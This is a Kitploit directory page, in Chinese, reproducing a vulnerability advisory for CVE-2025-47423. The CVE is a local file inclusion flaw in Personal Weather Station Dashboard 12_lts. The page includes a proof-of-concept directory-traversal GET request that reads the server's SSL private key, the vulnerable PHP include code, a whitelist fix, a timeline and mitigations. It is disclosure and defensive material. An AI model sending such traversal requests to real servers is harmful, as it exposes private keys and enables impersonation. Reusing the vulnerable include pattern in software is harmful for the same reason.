Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-47423 — CVE-2025-47423 详细披露:Personal Weather Station Dashboard 12_lts 中的本地文件包含漏洞。包含 PoC、漏洞代码分析以及面向防御学习的安全修复建议。 | Kitploit
工具/GitHubGitHub/haluka92/cve-2025-47423
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育精选资源
GitHubhaluka92/cve-2025-47423

CVE-2025-47423

CVE-2025-47423 详细披露:Personal Weather Station Dashboard 12_lts 中的本地文件包含漏洞。包含 PoC、漏洞代码分析以及面向防御学习的安全修复建议。

查看仓库
132个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-47423 – Personal Weather Station Dashboard (12_lts) 中的本地文件包含漏洞

发现者: Matthew Eagle
状态: 公开披露
报告日期: 2025-05-05
CVE ID: CVE-2025-47423


🧩 摘要

Personal Weather Station Dashboard 版本 12_lts 中存在一个本地文件包含(LFI)漏洞,允许未经身份验证的远程攻击者读取服务器上的任意文件。利用此漏洞可访问包括私有 SSL 密钥在内的敏感文件,可能危及 HTTPS 连接的机密性和完整性。


🛠 受影响组件

  • 文件:/others/_test.php
  • 易受攻击的参数:test(通过 GET 传递)

📈 影响

此漏洞允许远程攻击者:

  • 读取文件系统上的任意文件
  • 泄露私有 SSL 密钥(例如 server.key)
  • 执行中间人(MITM)攻击
  • 冒充 HTTPS 服务器

CVSS:5.8 中等


💥 概念验证(PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

响应:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

🧪 易受攻击的代码(简化版)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

str_replace 不足以防止目录遍历。


🔐 安全修复

  • 对包含目标使用严格的允许列表
  • 使用 basename() 清理输入,并与允许的文件进行比对
  • 避免基于用户输入进行动态包含
$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

📅 时间线

日期事件
2025-05-05漏洞已报告给 PWS Dashboard 版主
2025-05-06已确认收到并观察到测试
2025-05-07通过 MITRE 预留 CVE-2025-47423
2025-06-07确认公开补丁及 CVE 列表

🧠 缓解措施

如果您正在运行 Personal Weather Station Dashboard 12_lts,您应该:

  • 立即移除或更新 _test.php
  • 实施带有文件白名单的修复脚本
  • 轮换并重新签发任何已泄露的 TLS 证书

🧾 参考资料

  • MITRE 上的 CVE-2025-47423(待定)
  • 发布于 GitHub 的公告

🙏 致谢

漏洞由 Matthew Eagle 发现并负责任地披露
联系方式:[email protected]


披露过程遵循负责任披露准则。本文档出于教育和防御目的发布。

下载工具